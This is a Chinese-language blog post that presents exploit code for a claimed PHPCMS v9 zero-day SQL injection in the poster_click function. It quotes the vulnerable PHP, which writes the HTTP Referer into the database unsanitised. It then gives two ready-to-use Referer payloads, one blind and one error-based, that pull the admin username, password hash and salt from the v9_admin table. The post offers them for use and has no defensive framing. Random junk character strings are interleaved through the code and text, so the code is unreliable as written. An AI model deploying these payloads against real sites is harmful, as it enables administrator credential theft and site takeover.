phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
/ O. e2 G5 I! ?& b5 r
# D& {, [/ Y2 M6 l- N2 L1 q问题函数\phpcms\modules\poster\index.php

public function poster_click() {
! }2 r$ l; t# `7 L4 J6 D4 E0 p$ j8 B$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
' s, o  e0 A, k5 V" Vif (!is_array($r) && empty($r)) return false;
0 Y, f. F; @2 v; M8 u$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, Z! {( y7 q% ^7 v7 w7 `2 e6 }if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
, X4 j* x6 m, k/ D6 K. iif (count($setting)==1) {
+ X$ Z- o5 Z% @. d) s; _; o" O$url = $setting['1']['linkurl'];
! J2 ~/ O' A" Q, o9 |- \! e. _} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}
. ?  O" D8 w( W, p1 k' @& {


% ]1 Q; R- x" X0 k, i7 }利用方式：

4 M, w( Y7 S$ \1 V8 c5 f3 m1、可以采用盲注入的手法：
3 n  r" P, K0 g& }
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
; V  m& A4 ?( z7 X; R4 G) S; E
1 _+ x) D/ o8 w; F( }通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
9 Z% \7 O5 w9 ?
5 l+ c5 P1 G) U  |) u8 Q/ J" K: p1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
